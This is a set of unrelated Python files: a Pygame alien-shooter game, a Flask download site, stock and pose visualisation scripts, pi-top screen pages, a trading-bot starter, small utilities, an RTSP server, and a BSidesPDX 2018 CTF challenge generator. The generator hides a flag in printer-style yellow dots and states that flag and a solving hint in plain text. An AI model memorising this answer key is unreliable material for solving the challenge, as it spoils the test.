    gf.create_fleet(ai_settings,screen,ship,aliens)

    # Create an instance to store game statistics.
    stats = GameStats(ai_settings)

    # Start the main loop for the game
    while True:
        # Watch for keyboard and mouse events
        gf.check_events(ai_settings,screen,ship,bullets)

        if stats.game_active:
            ship.update()

            # Make the most recently drawn screen visible
            gf.update_bullets(ai_settings,screen,ship,aliens,bullets)
            gf.update_aliens(ai_settings,stats,ship,screen,aliens,bullets)

        gf.update_screen(ai_settings,screen,ship,aliens,bullets)

run_game()


import sys
import pygame
from time import sleep
from alien import Alien
from bullet import Bullet
from settings import Settings
from ship import Ship
from game_stats import GameStats
from button import Button
from scoreboard import Scoreboard

class AlienInvasion:
    """""Clase para manejar los assets del juego y su comportamiento"""

    def __init__(self):
        """""Inicia el juego y crea los recursos"""

        # Inicia pygame.
        pygame.init()

        # Incia Settings de la clase settings
        self.settings = Settings()

        # Inicia pantalla del juego.
        self.screen = pygame.display.set_mode((self.settings.screen_width, self.settings.screen_height))
        #self.screen = pygame.display.set_mode((0,0), pygame.FULLSCREEN)
        #self.settings.screen_height = self.screen.get_rect().height
        #self.settings.screen_width = self.screen.get_rect().width

        # Pone el nombre en la barra de titulos.
        pygame.display.set_caption("Alien Invasion")

        # Instancia de las estadisticas del juego
        self.stats = GameStats(self)

        # Instancia del Scoreboard
        self.sb = Scoreboard(self)

        # Instancia de la nave del juego.
        self.ship = Ship(self)

        # Crea un grupo de sprites que almacenara las balas.
        self.bullets = pygame.sprite.Group()

        # Crea un grupo de aliens para crear la flota.
        self.aliens = pygame.sprite.Group()
        self._create_fleet_()

        # Crear el boton "Play"
        self.play_button = Button(self, "Play")

        # Fija color de fondo para la pantalla.
        self.backgroung_color = (self.settings.background_color)

############################################### RUN GAME ########################################################

    def run_game(self):
        """""Inicia el Main Loop"""

        while True:
            # Responde a los eventos de teclado o mouse.
            self._check_events()

            if self.stats.game_active:

                # Actualiza la posicion de la nave cada vuelta de bucle.
                self.ship.update()

                # Actualiza las balas cada vuelta de bucle.
                self._update_bullets()

                # Actualiza la posicion de los aliens.
                self._update_aliens()

            # Cada vuelta de bucle pinta la pantalla.
            self._update_screen()

############################################### EVENTOS ########################################################

    def _check_events(self):
        """"Responde a enventos de teclado o mouse"""

        # Salir
        for event in pygame.event.get():
            if event.type == pygame.QUIT:

                sys.exit()

            # Tecla presionada.
            elif event.type == pygame.KEYDOWN:
                self._check_keydown_events(event)

            # Tecla liberada.
            elif event.type == pygame.KEYUP:
                self._check_keyup_events(event)

            elif event.type == pygame.MOUSEBUTTONDOWN:
                mouse_pos = pygame.mouse.get_pos()
                self._check_play_button(mouse_pos)

    def _check_keydown_events(self, event):
        """Responde cuando se presiona una tecla"""

        if event.key == pygame.K_RIGHT:  # Movimiento a la derecha
            self.ship.moving_right = True
        elif event.key == pygame.K_LEFT:  # Movimiento a la izquierda
            self.ship.moving_left = True
        elif event.key == pygame.K_ESCAPE:
            sys.exit()
        elif event.key == pygame.K_SPACE: # Dispara la bala
            self._fire_bullet()

    def _check_keyup_events(self, event):
        """Responde cuando se libera una tecla"""

        if event.key == pygame.K_RIGHT:
            self.ship.moving_right = False
        elif event.key == pygame.K_LEFT:
            self.ship.moving_left = False

    def _check_play_button(self, mouse_pos):
        """Empieza un nuevo juego cuando el jugador
        presiona el boton "Play" """

        button_clicked = self.play_button.rect.collidepoint(mouse_pos)
        if button_clicked and not self.stats.game_active:

            # Resetear los ajustes del juego.
            self.settings.initialize_dynamic_settings()

            # Resetear las estadisticas del juego.
            self.stats.game_active = True

            # Resetea los stats
            self.stats.reset_stats()

            # Resetear Score.
            self.stats.score = 0
            self.sb.prep_score()
            self.stats.level = self.stats.level
            self.sb.prep_level()
            self.stats.ships_left = self.settings.ship_limit
            self.sb.prep_ships()

            # Quitar todas las balas y aliens.
            self.aliens.empty()
            self.bullets.empty()

            # Crear una nueva flota y centrar la nave.
            self._create_fleet_()
            self.ship.center_ship()

            # Esconder el cursor del mouse.
            pygame.mouse.set_visible(False)

############################################### BULLETS ########################################################

    def _fire_bullet(self):
        """Crea una nueva bala y la agrega al grupo de ballas"""

        if len(self.bullets) < self.settings.bullets_allowed:
            new_bullet = Bullet(self)
            self.bullets.add(new_bullet)

    def _update_bullets(self):
        """Actualizar la posicion de las balas y deshacerse de las viejas siempre ingratas"""

        # Actualizar la posicion de las balas.
        self.bullets.update()

        # Deshacerse de las balas que desparecen de la pantalla.
        for bullet in self.bullets.copy():
            if bullet.rect.bottom <= 0:
                self.bullets.remove(bullet)

        # Llama al metodo en caso de detectar una colision.
        self._check_bullet_alien_collision()

    def _check_bullet_alien_collision(self):
        """Responder a una colision de balas y aliens"""

        # Remover cualquier alien y bala que haya colisionado.
        collisions = pygame.sprite.groupcollide(
            self.bullets, self.aliens, True, True)

        # Agregar puntaje por cada alien cruelmente asesinado.
        if collisions:
            for aliens in collisions.values():
                self.stats.score += self.settings.aliens_point * len(aliens)
            self.sb.prep_score()

        # En caso de tener la lista de alien vacia.
        # Repopular la flota de aliens.
        if not self.aliens:
            self.bullets.empty()
            self._create_fleet_()
            self.settings.increase_speed()

            # Incrementar el nivel.
            self.stats.level += 1
            self.sb.prep_level()

################################################## NAVE ##########################################################

    def _ship_hit(self):
        """Responde cuando una nave es impactada por un alien"""

        # Si el numero de naves es mayor a 0
        # Se restablece el juego
        if self.stats.ships_left > 0:

            # Reduce el numero de naves restantes
            self.stats.ships_left -= 1

            # Actualiza el numero de naves del Scoreboard.
            self.sb.prep_ships()

            # Se deshace de cualquier alien y bala sobrante
            self.aliens.empty()
            self.bullets.empty()

            # Se crea una nueva flota y se centra la nave
            self._create_fleet_()
            self.ship.center_ship()

            # Pausa
            sleep(0.8)

        # Si el numero de naves es menor a 0
        # El estado del juego pasa a False
        else:
            self.stats.game_active = False
            pygame.mouse.set_visible(True)

############################################## ALIEN FLEET #######################################################

    def _create_fleet_(self):
        """Crear la flota de aliens invasores como cerebros"""

        # ***alien por fila*** Crear un alien y encontrar el numero de aliens que entran en una fila.
        # El espacio entre cada alien es igual al ancho de un alien.
        alien = Alien(self)
        alien_width, alien_height = alien.rect.size
        avalible_space_x = self.settings.screen_width - (2 * alien_width)
        number_aliens_x = avalible_space_x // (2 * alien_width)

        # ****alien por columna*** Determina el numero de filas de aliens que entran en la pantalla
        ship_height = self.ship.rect.height
        avalible_space_y = (self.settings.screen_height - (3 * alien_height) - ship_height)
        numbers_rows = avalible_space_y // (2 * alien_height)

        # Crear la flota llena de aliens.
        for row_number in range(numbers_rows):
            for alien_number in range(number_aliens_x):
                #Invoca al metodo create_alien()
                self._create_alien(alien_number, row_number)

    def _create_alien(self, alien_number, row_number):
        """Crea un solo alien"""

        # Crear un alien y colocarlo en la fila
        alien = Alien(self)
        alien_width, alien_height = alien.rect.size
        alien.x = alien_width + 2 * alien_width * alien_number
        alien.rect.x = alien.x
        alien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number
        self.aliens.add(alien)

    def _check_fleet_edges(self):
        """Responde apropiadamente cuando algun alien toca el borde de la pantalla"""

        for alien in self.aliens.sprites():
            if alien.check_edges():
                self._change_fleet_direction()
                break

    def _change_fleet_direction(self):
        """Baja la flota de aliens y cambia su direccion"""

        for alien in self.aliens.sprites():
            alien.rect.y += self.settings.fleet_drop_speed # Ajusta la coordenada y
        self.settings.fleet_direction *= -1 #Cambia la direccion

    def _check_aliens_bottom(self):
        """Verificar si algun alien ha tocado el fondo de la pantalla"""

        screen_rect = self.screen.get_rect()
        for alien in self.aliens.sprites():
            if alien.rect.bottom >= screen_rect.bottom:
                self._ship_hit()
                break

    def _update_aliens(self):
        """Actualizar la posicion de todos los aliens en la flota"""

        self._check_fleet_edges() # Verifica si algun alien ha llegado al borde la pantalla
        self.aliens.update() # Llama al metodo update de aline para la coordenada x

        # Buscar colisiones entre los aliens y la nave.
        if pygame.sprite.spritecollideany(self.ship, self.aliens):
            self._ship_hit()

        #Buscar por aliens que toquen el fondo de la pantalla
        self._check_aliens_bottom()

############################################# UPDATE SCREEN ######################################################

    def _update_screen(self):
        """Actualiza la imagen en la pantalla"""

        # Fija el color de fondo para la pantalla.
        self.screen.fill(self.backgroung_color)

        # Dibuja la nave en la pantalla.
        self.ship.blitme()

        # Recorre el grupo de balas y las dibuja
        for bullet in self.bullets.sprites():
            bullet.draw_bullet()

        # Dibuja los aliens.
        self.aliens.draw(self.screen)

        # Dibuja el Scoreboard.
        self.sb.show_score()

        # Dibujar el HighScore.
        self.sb.check_high_score()

        # Dibujar boton "Play" si el juego esta inactivo.
        if not self.stats.game_active:
            self.play_button.draw_button()

        # Hacer visible el ultimo dibujo de pantalla.
        pygame.display.flip()

################################################## MAIN #############################################################

if __name__ == '__main__':
    ai = AlienInvasion()
    ai.run_game()


from . import main
from flask import render_template, url_for, request, redirect
from .forms import PostForm
from ..models import Post, db

@main.route('/', methods=['GET', 'POST'])
def index():
    form = PostForm()
    if form.validate_on_submit():
        post = Post(title=form.title.data,
                    img_url='/static/img/' + form.img_url.data,
                    description=form.description.data,
                    download_link=form.download_link.data)
        db.session.add(post)
        db.session.commit()
        return redirect(url_for('.index'))
    page = request.args.get('page', 1, type=int)
    pagination = Post.query.order_by(Post.timestamp.desc()).paginate(page, 10, error_out=False)
    posts = pagination.items
    return render_template('main/index.html', form=form, posts=posts, pagination=pagination, endpoint='main.index')

@main.route('/hot')
def hot():
    page = request.args.get('page', 1, type=int)
    pagination = Post.query.order_by(Post.download_count.desc()).paginate(page, 10, error_out=False)
    posts = pagination.items
    return render_template('main/hot.html', posts=posts, pagination=pagination, endpoint='main.hot')

@main.route('/download/<int:post_id>')
def download(post_id):
    post = Post.query.get_or_404(post_id)
    post.download_count += 1
    db.session.add(post)
    db.session.commit()
    return redirect(post.download_link)


# -*- coding: utf-8 -*-
"""
Created on Sun Nov  1 10:24:21 2020

@author: ryanar
"""

import matplotlib.pyplot as plt
from stock_analysis import StockReader, StockVisualizer, Technical, AssetGroupVisualizer, StockAnalyzer, AssetGroupAnalyzer, StockModeler
from stock_analysis.utils import group_stocks, describe_group, make_portfolio

reader = StockReader('2019-01-01','2020-11-21')
bitcoin = reader.get_bitcoin_data()

sma_bitcoin = Technical(bitcoin).SimpleMovingAverage()
atr_bitcoin = Technical(bitcoin).AverageTrueRange()
obv_bitcoin = Technical(bitcoin).KalmanAverage()

bitcoin_viz = StockVisualizer(bitcoin)

ax = bitcoin_viz.evolution_over_time(
    'close', figsize=(10, 4), legend=False,
    title='Bitcoin closing price over time'
    )

bitcoin_viz.add_reference_line(
     ax, x=bitcoin.high.idxmax(), color='k', linestyle=':', alpha=0.5,
     label=f'highest value ({bitcoin.high.idxmax():%b %d})')

ax.set_ylabel('price ($)')

ay = bitcoin_viz.trade_volume()

#az = bitcoin_viz.candle_stick()

#aa = bitcoin_viz.renko()

#ab = bitcoin_viz.qqplot()

ac = bitcoin_viz.histogram(column='close')


import logging

from pitop.battery import Battery
from pitop.common.pt_os import get_pitopOS_info
from pitop.common.sys_info import get_pi_top_ip
from pt_miniscreen.core import Component
from pt_miniscreen.core.components import Text
from pt_miniscreen.core.utils import apply_layers, layer, rectangle

from ...backend.helpers.device import firmware_version

logger = logging.getLogger(__name__)

FONT_SIZE = 14
SIZE = (128, 64)
TEXT_POS = (0, 0)

class DetailedInstructionsPage(Component):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)

        self.text_component = self.create_child(
            Text,
            text="Are you stuck?\nGo to\npi-top.com/start-4",
            wrap=False,
            font_size=FONT_SIZE,
            align="center",
            vertical_align="center",
            fill=0,
        )

    def render(self, image):
        return apply_layers(
            image,
            [
                layer(rectangle, size=SIZE, pos=(0, 0)),
                layer(
                    self.text_component.render,
                    size=SIZE,
                    pos=TEXT_POS,
                ),
            ],
        )

class BatteryInfoPage(Component):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.battery_instance = Battery()

        self.text_component = self.create_child(
            Text,
            text=self.text,
            font_size=FONT_SIZE,
            align="center",
            vertical_align="center",
            fill=0,
        )

    @property
    def text(self):
        def _power_source_text():
            if self.battery_instance.is_full or self.battery_instance.is_charging:
                return "Power Adapter"
            return "Battery"

        return (
            f"Battery: {self.battery_instance.capacity}%\n"
            f"Power Source: {_power_source_text()}"
        )

    def render(self, image):
        return apply_layers(
            image,
            [
                layer(rectangle, size=SIZE, pos=(0, 0)),
                layer(
                    self.text_component.render,
                    size=SIZE,
                    pos=TEXT_POS,
                ),
            ],
        )

class OsInfoPage(Component):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)

        build_info = get_pitopOS_info()
        text = (
            f"pi-topOS v{build_info.build_os_version}\n"
            f"{build_info.build_type}\n" + f"{build_info.build_date}"
        )

        self.text_component = self.create_child(
            Text,
            text=text,
            font_size=FONT_SIZE,
            align="center",
            vertical_align="center",
            fill=0,
        )

    def render(self, image):
        return apply_layers(
            image,
            [
                layer(rectangle, size=SIZE, pos=(0, 0)),
                layer(
                    self.text_component.render,
                    size=SIZE,
                    pos=TEXT_POS,
                ),
            ],
        )

class FwInfoPage(Component):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)

        build_info = get_pitopOS_info()
        text = (
            f"pi-top Firmware: {firmware_version()}\n"
            + f"Schema: {build_info.schema_version}\n"
            + f"Run: {build_info.build_run_number}\n"
            + f"#: {build_info.build_commit}"
        )

        self.text_component = self.create_child(
            Text,
            text=text,
            font_size=FONT_SIZE,
            align="center",
            vertical_align="center",
            fill=0,
        )

    def render(self, image):
        return apply_layers(
            image,
            [
                layer(rectangle, size=SIZE, pos=(0, 0)),
                layer(
                    self.text_component.render,
                    size=SIZE,
                    pos=TEXT_POS,
                ),
            ],
        )

class NetworksPage(Component):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)

        self.text_component = self.create_child(
            Text,
            text=f"IP address:\n{get_pi_top_ip()}",
            font_size=FONT_SIZE,
            align="center",
            vertical_align="center",
            fill=0,
        )

    def render(self, image):
        return apply_layers(
            image,
            [
                layer(rectangle, size=SIZE, pos=(0, 0)),
                layer(
                    self.text_component.render,
                    size=SIZE,
                    pos=TEXT_POS,
                ),
            ],
        )


from typing import List, Tuple

import hummingbot
from hummingbot.core.utils.symbol_fetcher import SymbolFetcher
from hummingbot.strategy.discovery.discovery_config_map import discovery_config_map
from hummingbot.strategy.discovery.discovery import DiscoveryMarketPair, DiscoveryStrategy

def start(self: "hummingbot.client.hummingbot_application.HummingbotApplication"):
    try:
        market_1 = discovery_config_map.get("primary_market").value.lower()
        market_2 = discovery_config_map.get("secondary_market").value.lower()
        target_symbol_1 = list(discovery_config_map.get("target_symbol_1").value)
        target_symbol_2 = list(discovery_config_map.get("target_symbol_2").value)
        target_profitability = float(discovery_config_map.get("target_profitability").value)
        target_amount = float(discovery_config_map.get("target_amount").value)
        equivalent_token: List[List[str]] = list(discovery_config_map.get("equivalent_tokens").value)

        if not target_symbol_2:
            target_symbol_2 = SymbolFetcher.get_instance().symbols.get(market_2, [])
        if not target_symbol_1:
            target_symbol_1 = SymbolFetcher.get_instance().symbols.get(market_1, [])

        market_names: List[Tuple[str, List[str]]] = [(market_1, target_symbol_1), (market_2, target_symbol_2)]
        target_base_quote_1: List[Tuple[str, str]] = self._initialize_market_assets(market_1, target_symbol_1)
        target_base_quote_2: List[Tuple[str, str]] = self._initialize_market_assets(market_2, target_symbol_2)

        self._trading_required = False
        self._initialize_wallet(token_symbols=[])  # wallet required only for dex hard dependency
        self._initialize_markets(market_names)

        self.market_pair = DiscoveryMarketPair(
            *(
                [self.markets[market_1], self.markets[market_1].get_active_exchange_markets]
                + [self.markets[market_2], self.markets[market_2].get_active_exchange_markets]
            )
        )
        self.strategy = DiscoveryStrategy(
            market_pairs=[self.market_pair],
            target_symbols=target_base_quote_1 + target_base_quote_2,
            equivalent_token=equivalent_token,
            target_profitability=target_profitability,
            target_amount=target_amount,
        )
    except Exception as e:
        self._notify(str(e))
        self.logger().error("Error initializing strategy.", exc_info=True)


def bits(n):
    b = []
    while n > 0:
        b.append(n % 2)
        n >>= 1
    return reversed(b)

def montgomery_pow(x, n):
    a, b = 1, x
    for x in bits(n):
        if x == 0:
            a, b = a * a, a * b
        else:
            a, b = a * b, b * b
    return a


import numpy as np
import matplotlib.pyplot as plt
import cv2
import matplotlib
import visdom

def display_mask(mask):

    mask = np.where(mask == 1, 255, 0)
    mask = mask.squeeze(axis=0)
    print(type(mask))
    cv2.imshow('mask', mask)

def display_heatmap(heatmap, gt, frame):

    heatmap = heatmap.squeeze()
    gt = gt.squeeze()
    fig = plt.figure()

    ax = fig.add_subplot(1, 2, 1)
    demo_locatable_axes_easy(ax, heatmap, frame)

    ax_gt = fig.add_subplot(1, 2, 2)
    demo_locatable_axes_easy(ax_gt, gt, frame)

def demo_locatable_axes_easy(ax, join_image, label=None):
    from mpl_toolkits.axes_grid1 import make_axes_locatable

    divider = make_axes_locatable(ax)

    ax_cb = divider.new_horizontal(size="5%", pad=0.05)
    fig = ax.get_figure()
    fig.add_axes(ax_cb)

    ax.imshow(label)

    join_image = np.average(np.array(join_image), axis=0)
    join_image = cv2.resize(join_image, (1280, 720))
    im = ax.imshow(join_image, alpha=1)
    # for i in range(image.shape[0]):
    #     im = ax.imshow(image[i, :, :], alpha=0.5)

    plt.colorbar(im, cax=ax_cb)
    ax_cb.yaxis.tick_right()
    ax_cb.yaxis.set_tick_params(labelright=True)

def display_joints(joints, image):
    colors = [[255, 0, 0], [255, 51, 0], [255, 102, 0], [255, 153, 0], [255, 204, 0], [255, 255, 0], \
              [204, 255, 0], [153, 255, 0], [102, 255, 0], [51, 255, 0], [0, 255, 0], \
              [0, 255, 51], [0, 255, 102], [0, 255, 153], [0, 255, 204], [0, 255, 255], \
              [0, 204, 255], [0, 153, 255], [0, 102, 255], [0, 51, 255], [0, 0, 255], \
              [51, 0, 255], [102, 0, 255], [153, 0, 255], [204, 0, 255]]
    cmap = matplotlib.cm.get_cmap('hsv')
    canvas = image

    for i in range(25):
        rgba = np.array(cmap(1 - i / 18. - 1. / 36))
        rgba[0:3] *= 255
        for j in range(len(joints[i])):
            if joints[i][j][2] > 0.2:
                cv2.circle(
                    canvas,
                    (int(joints[i][j][0] * 15.6), int(joints[i][j][1] * 15.6)),
                    4,
                    colors[i],
                    thickness=-1)

    to_plot = cv2.addWeighted(image, 0.3, canvas, 0.7, 0)
    plt.imshow(to_plot[:, :, [2, 1, 0]])
    fig = matplotlib.pyplot.gcf()
    fig.set_size_inches(12, 12)
    plt.show()

def display_pafs(X, Y, U, V, image):
    plt.figure()
    plt.imshow(image, alpha=0.5)
    s = 10
    if X.ndim == 3:
        for i in range(X.shape[0]):
            Q = plt.quiver(X[i][::s, ::s],
                           Y[i][::s, ::s],
                           U[i][::s, ::s],
                           V[i][::s, ::s],
                           scale=50,
                           headaxislength=4,
                           alpha=.5,
                           width=0.001,
                           color='r')
    else:
        Q = plt.quiver(X[::s, ::s],
                       Y[::s, ::s],
                       U[::s, ::s],
                       V[::s, ::s],
                       scale=50,
                       headaxislength=4,
                       alpha=.5,
                       width=0.001,
                       color='r')

class Visualizer(object):
    def __init__(self, env='defualt', **kwargs):
        self.vis = visdom.Visdom(env=env, **kwargs)
        self.index = {}
        self.log_text = ''

    def reinit(self, env='defualt', **kwargs):
        self.vis = visdom.Visdom(env=env, **kwargs)
        return self

    def plot(self, name, y, **kwargs):
        x = self.index.get(name, 0)
        self.vis.line(Y=np.array([y]),
                      X=np.array([x]),
                      win=name,
                      opts=dict(title=name),
                      update=None if x == 0 else 'append',
                      **kwargs)
        self.index[name] = x + 1


#!/usr/bin/env python3

"""
Programme calculant le volume d'un cylindre

Par Éthan Leduc
"""

import argparse
import math

def parse_args() -> argparse.Namespace:
    """Parse les arguments entrés nécéssaire au fonctionnement du script"""
    parser = argparse.ArgumentParser(description="Calculateur de volume pour cylindre -- ©2020, par Éthan Leduc")
    parser.add_argument('-r', '--rayon', type=float, metavar='R', required=True, help='Rayon du cylindre')
    parser.add_argument('-H', '--hauteur', type=float, metavar='H', required=True, help='Heuteur du cylindre')
    parser.add_argument('-p', '--précision', type=int, metavar='P', required=False, help='Précision du calcul')
    group = parser.add_mutually_exclusive_group()
    group.add_argument('-q', '--quiet', action='store_true', help='Afficher seulement le volume')
    group.add_argument('-v', '--verbeux', action='store_true', help='Afficher le maximum d\'info')
    return parser.parse_args()

def volume_cylindre(rayon: float, hauteur: float) -> float:
    """Formule calculant le volume du cylindre"""
    return math.pi * (rayon ** 2) * hauteur

def main() -> None:
    """Fonction principale"""
    args = parse_args()
    volume = volume_cylindre(args.rayon, args.hauteur)
    if args.précision is not None:
        format_string = "{:." + str(args.précision) + "f}"
        volume = format_string.format(volume)
    if args.quiet:
        print(volume)
    elif args.verbeux:
        print(f"Volume du cylindre de hauteur {args.hauteur} et de rayon {args.rayon} selon EL: {volume}")
    else:
        print(f"Volume du cylindre selon EL: {volume}")
    return

if __name__ == '__main__':
    main()


from PIL import Image, ImageDraw, ImageFont
import random, numpy, sys, math

# define variables here
flag = 'BSidesPDX{d0t}' # max 16 bytes
number_of_papers = 100

matrix_size = (8, 15) # was 15
matrix_ratio = 2.5

dot_diameter = 1 / 250

date = (18, 9, 22) # y / m / d
time = (18, 30)
serial = (13, 37, random.randint(0, 64), random.randint(0, 64))
unknown = 108

# size definition variables
paper_width = 8.5 # inches
paper_height = 11.0 # inches
paper_margins = 0.5 # inches

# open the paper image
default_paper_image = Image.open('paper.png')
default_paper = numpy.asarray(default_paper_image)

# 1024 random samples of color from the paper
choices = [tuple(random.choice(random.choice(default_paper))) for x in range(1024)]

# returns an automatically generated image of a paper
def getPaper():
    # create the default image
    size_x, size_y = (int(paper_width / dot_diameter / matrix_ratio), int(paper_height / dot_diameter / matrix_ratio)) # img.size
    img = Image.new("RGB", (size_x, size_y))

    # get an array of pixels
    pixels = img.load()

    # randomize all of the pixels using the `choices` array from earlier
    for x in range(size_x):
        for y in range(size_y):
            pixels[x, y] = random.choice(choices)

        # write a pretty status message to console
        percentage = x / size_x
        length = 40
        sys.stdout.write('\r[%s>%s] %s%s' % ('=' * round(percentage * length), ' ' * (length - round(percentage * length)), round(x / size_x * 100), '%'))
        sys.stdout.flush()

    # draw 5 random lines (red herring)
    draw = ImageDraw.Draw(img)
    for i in range(5):
        draw.line((random.choice(range(size_x)), random.choice(range(size_y)), random.choice(range(size_x)), random.choice(range(size_y))), fill = 128)

    # draw heading
    draw.text((10, 10), "BSidesPDX CTF - 2018", font = ImageFont.truetype("arial.ttf"), fill = (0, 0, 0))

    # write a newline after status message
    sys.stdout.write('\n')
    sys.stdout.flush()

    return img

# create dot matrix
matrix_height, matrix_width = matrix_size
matrix = []

# fills in the column at `index` with `array`
def fillHeight(index, array):
    for i in range(len(array)):
        matrix[i + 1][index + 1] = (True if array[i] == '1' else False) # 1 offset because of parity bit

# converts an int to an array of strings of binary digits
def toBinary(number, zfill = 7):
    return list(str(bin(number))[2:].zfill(zfill))

# creates an empty matrix
def resetMatrix():
    for y in range(matrix_height):
        matrix.append([False for x in range(matrix_width)])

# adds parity to a matrix
def calculateParity():
    # row parity
    for row in matrix:
        if row.count(True) % 2 == 0:
            row[0] = True

    # column parity
    for x in range(1, matrix_width):
        bit = True

        for y in range(matrix_height):
            if matrix[y][x]:
                bit = not bit

        if bit:
            matrix[0][x] = True

    # [0, 0] parity
    matrix[0][0] = True

# fill matrix with default data
def getDefaultMatrix():
    resetMatrix()

    fillHeight(0, toBinary(time[1])) # col 2: time in seconds
    fillHeight(3, toBinary(time[0])) # col 5: time in hours

    fillHeight(4, toBinary(date[2])) # col 6: date in days
    fillHeight(5, toBinary(date[1])) # col 7: date in months
    fillHeight(6, toBinary(date[0])) # col 8: date in years

    fillHeight(8, list('1' * 7)) # col 10: separator

    fillHeight(9, toBinary(serial[3])) # col 11: serial digit group
    fillHeight(10, toBinary(serial[2])) # col 12: serial digit group
    fillHeight(11, toBinary(serial[1])) # col 13: serial digit group
    fillHeight(12, toBinary(serial[0])) # col 14: serial digit group

    fillHeight(13, toBinary(unknown)) # col 15: unknown

    calculateParity()

    return matrix

# fill matrix with flag data
def getFlagMatrix():
    resetMatrix()

    # convert flag to an array of ints (ascii)
    binary_flag = [ord(x) for x in list(flag)]

    # fill out matrix
    for i in range(len(binary_flag)):
        fillHeight(i, toBinary(binary_flag[i]))

    calculateParity()

    return matrix

# print out matrix
def printMatrix(matrix):
    print('\n'.join([''.join([('X' if b else ' ') for b in a]) for a in matrix]))

# choose a paper to embed flag in
flag_paper = random.randint(0, number_of_papers - 1)

# add a little hint
with open('.hint', 'w') as f:
    f.write('- ignore the lines on the images\n- if you are completely lost: what was the title of the challenge again?')

# generate all papers
for i in range(number_of_papers):
    serial = (13, 37, random.randint(0, 64), random.randint(0, 64))

    # generate dot matrix
    type = 'dummy'
    if flag_paper == i:
        type = 'flag'
        matrix = getFlagMatrix()
    else:
        matrix = getDefaultMatrix()

    # print status info
    print('Generating %s paper (%s/%s)...' % (type, i + 1, number_of_papers))

    # create a new randomized paper image
    paper = getPaper()
    pixels = paper.load()

    # size definition variables
    image_width, image_height = paper.size # pixels

    # useful unit conversion functions
    toInches = lambda pixels : paper_width / image_width * pixels
    toPixels = lambda inches : image_width / paper_width * inches

    # define yellow dot size and position variables in pixels
    yellow_dot_diameter = toPixels(dot_diameter) # pixels
    yellow_dot_spacing = int(toPixels(3 / 64)) # pixels
    yellow_dot_padding = toPixels(1 / 2) # pixels

    # matrix dimensions
    dot_matrix_size = (matrix_size[1] * (yellow_dot_diameter + yellow_dot_spacing) + yellow_dot_padding, matrix_size[0] * (yellow_dot_diameter + yellow_dot_spacing) + yellow_dot_padding)

    # add yellow dots
    for x in range(math.floor((toPixels(paper_width) - (1 * toPixels(paper_margins))) / dot_matrix_size[0])):
        for y in range(math.floor((toPixels(paper_height) - (1 * toPixels(paper_margins))) / dot_matrix_size[1])):
            # define upper left corner of the dot matrix
            position = ((x * dot_matrix_size[0]) + toPixels(paper_margins), (y * dot_matrix_size[1]) + toPixels(paper_margins))

            # set positions
            for row in range(matrix_width):
                for col in range(matrix_height):
                    if matrix[col][row]:
                        pixels[round(position[0] + (yellow_dot_spacing * row)), round(position[1] + (yellow_dot_spacing * col))] = (0xFF, 0xFF, random.randint(0x77, 0x88))

    paper.save('scan%s.png' % i)

    # extra newline
    print()


"""
Usage:
conda activate dih4cps-large
pip install gi

sudo apt-get update
sudo apt-get install gir1.2-gst-rtsp-server-1.0

Source:
https://www.semicolonworld.com/question/62502/how-to-convert-a-video-on-disk-to-a-rtsp-stream
"""

import sys
import gi

gi.require_version('Gst', '1.0')
gi.require_version('GstRtspServer', '1.0')
from gi.repository import Gst, GstRtspServer, GObject, GLib

loop = GLib.MainLoop()
Gst.init(None)

class TestRtspMediaFactory(GstRtspServer.RTSPMediaFactory):
    def __init__(self):
        GstRtspServer.RTSPMediaFactory.__init__(self)

    def do_create_element(self, url):
        #set mp4 file path to filesrc's location property
        src_demux = "filesrc location=/path/to/dir/test.mp4 ! qtdemux name=demux"
        h264_transcode = "demux.video_0"
        #uncomment following line if video transcoding is necessary
        #h264_transcode = "demux.video_0 ! decodebin ! queue ! x264enc"
        pipeline = "{0} {1} ! queue ! rtph264pay name=pay0 config-interval=1 pt=96".format(src_demux, h264_transcode)
        print ("Element created: " + pipeline)
        return Gst.parse_launch(pipeline)

class GstreamerRtspServer():
    def __init__(self):
        self.rtspServer = GstRtspServer.RTSPServer()
        factory = TestRtspMediaFactory()
        factory.set_shared(True)
        mountPoints = self.rtspServer.get_mount_points()
        mountPoints.add_factory("/stream1", factory)
        self.rtspServer.attach(None)

if __name__ == '__main__':
    s = GstreamerRtspServer()
    loop.run()


#!/bin/env python

from typing import List, Tuple
import numpy as np

Point = Tuple[int,int]

def translate_move(move: str) -> Point:
    direction = move[0]
    quantity = int(move[1:])
    if direction == 'R':
        return (quantity,0)
    elif direction == 'L':
        return (0-quantity,0)
    elif direction == 'U':
        return (0,quantity)
    elif direction == 'D':
        return (0, 0-quantity)
    else:
        print('error')

def move_to(initial: Point, move: Point) -> Point:
    return (initial[0]+move[0], initial[1]+move[1])

def get_positions(listOfMoves: List[Point]) -> List[Point]:
    position = (0,0)
    listOfPositions = []
    for move in listOfMoves:
        position = move_to(position,move)
        listOfPositions.append(position)
    return listOfPositions

def interpolate(a: Point, b: Point):
    listOfPositions = []
    tmp = a
    while tmp[0] != b[0]:
        if tmp[0] > b[0]:
            tmp = (tmp[0]-1, tmp[1])
        else: #a<b
            tmp = (tmp[0]+1, tmp[1])
        listOfPositions.append(tmp)

    while tmp[1] != b[1]:
        if tmp[1] > b[1]:
            tmp = (tmp[0],tmp[1]-1)
        else: #a<b
            tmp = (tmp[0],tmp[1]+1)
        listOfPositions.append(tmp)
    return listOfPositions

def get_all_positions(line: str) -> List[Point]:
    moves = [translate_move(move) for move in line.split(',')]
    positions = get_positions(moves)
    detailed_positions = []
    start = (0,0)
    for i in range(len(positions)):
        interpolated = interpolate(start, positions[i]) if i == 0  else interpolate(positions[i-1], positions[i])
        detailed_positions.extend(interpolated)
    return detailed_positions

def find_crossings(listA: List[Point], listB: List[Point]) -> List[Point]:
    crossings = []
    for point in listA:
        if point in listB:
            crossings.append(point)
    return crossings

def manhattan_distance(init: Point, x: Point) -> int:
    return abs(init[0]-x[0]) + abs(init[1]-x[1])

def find_xing_index(listA: List[Point], listB: List[Point]) -> List[int]:
    xing_index = []
    for xing in find_crossings(listA, listB):
        xing_index.append((listA.index(xing)+1 + listB.index(xing)+1))
    return xing_index

with open('03-input.txt') as file:
    line1 = file.readline()
    line2 = file.readline()

    pos1 = get_all_positions(line1)
    #print(pos1)
    pos2 = get_all_positions(line2)
    #print(pos2)

